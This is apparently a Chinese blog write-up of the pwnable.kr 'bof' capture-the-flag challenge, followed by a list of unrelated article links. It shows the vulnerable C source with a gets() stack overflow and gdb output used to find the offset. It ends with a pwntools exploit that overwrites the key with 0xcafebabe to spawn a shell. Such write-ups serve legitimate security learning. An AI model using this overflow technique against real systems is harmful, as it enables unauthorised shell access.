博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
pwnable.kr bof之write up
阅读量:6882 次
发布时间:2019-06-27

本文共 2351 字,大约阅读时间需要 7 分钟。

这一题与前两题不同,用到了静态调试工具ida

首先题中给出了源码:

1 #include 
2 #include
3 #include
4 void func(int key){ 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe){ 9 system("/bin/sh");10 }11 else{12 printf("Nah..\n");13 }14 }15 int main(int argc, char* argv[]){16 func(0xdeadbeef);17 return 0;18 }

分析源代码:思路是缓冲区溢出

我们gdb走到func函数内部分析:

gdb-peda$ n[----------------------------------registers-----------------------------------]EAX: 0xffffd08c (":WUV\364oUV\260VUV\001")EBX: 0xf7fbd000 --> 0x1a9da8 ECX: 0xf7fd6000 ("overflow me : \n")EDX: 0xf7fbe898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd0b8 --> 0xffffd0d8 --> 0x0 ESP: 0xffffd070 --> 0xffffd08c (":WUV\364oUV\260VUV\001")EIP: 0x5655564f (
: call 0xf7e77440
)EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x56555644
: call 0xf7e77da0
0x56555649
: lea eax,[ebp-0x2c] 0x5655564c
: mov DWORD PTR [esp],eax=> 0x5655564f
: call 0xf7e77440
0x56555654
: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x5655565b
: jne 0x5655566b
0x5655565d
: mov DWORD PTR [esp],0x5655579b 0x56555664
: call 0xf7e52e70
Guessed arguments:arg[0]: 0xffffd08c (":WUV\364oUV\260VUV\001")[------------------------------------stack-------------------------------------]0000| 0xffffd070 --> 0xffffd08c (":WUV\364oUV\260VUV\001")0004| 0xffffd074 --> 0x0 0008| 0xffffd078 --> 0xbf 0012| 0xffffd07c --> 0xf7ea90e6 (test eax,eax)0016| 0xffffd080 --> 0xffffffff 0020| 0xffffd084 --> 0xffffd0ae --> 0x56b06aa6 0024| 0xffffd088 --> 0xf7e1fc34 --> 0x2aad 0028| 0xffffd08c (":WUV\364oUV\260VUV\001")[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x5655564f in func ()

看这一点:

也就是说0xffffd08c就是overflowme数组开始的位置

而由

得key 的地址0xffffd0c0

所以只要输入52便可成功覆盖,便可跳转执行system("\bin\sh")

于是写exp:

1 #!/usr/bin/python2 from pwn import *3 io = remote("pwnable.kr","9000")4 5 key = 0xcafebabe6 payload = "A" * 52 + p32(key)7 8 io.send(payload)9 io.interactive()

 

运行得到

 

转载于:https://www.cnblogs.com/liuyimin/p/7269605.html

你可能感兴趣的文章
python:正则表达式
查看>>
15.指针数组名与二级指针等价,二维数组名与数组指针等价,那现在写代码尝试二维指针数组与什么样的指针等价。...
查看>>
轨道六根数 matlab,[转载]卫星的 两行星历 及转化为轨道六根数的MATLAB程序
查看>>
matlab绘制单摆相图,单摆运动―相图.ppt
查看>>
C语言程序报告4,《C语言程序设计》 验 报 告4.doc
查看>>
arduino c语言开发环境,arduino开发环境介绍
查看>>
怎么培养c语言编程思维,刚起步学习编程C语言,要具备怎样样的思维才能学得轻松?...
查看>>
c语言数组转置什么意思,什么是数组转置
查看>>
android 抽屉组件,Android组件之DrawerLayout实现抽屉菜单
查看>>
android5动画,【Android 动画】动画详解之属性动画(五)
查看>>
HTML1个像素宽的代码,CSS的父元素宽度竟然会给子元素增加1像素的宽度
查看>>
html worker 执行函数,Web Worker 详细介绍
查看>>
mcp背景中如何html图片,smtp 邮件正文镶入图片 HTML代码等全过程
查看>>
fdisk非交互自动对磁盘分区格式化
查看>>
疯狂ios讲义之美化iOS应用
查看>>
Exchange 2013 前端 MSExchangeFrontEndTransport 2030的解决
查看>>
累并快乐的2014年
查看>>
让WP7下复杂列表选项生动起来
查看>>
在vSphere中为不同服务器配置IPMI功能
查看>>
nagios一键安装脚本
查看>>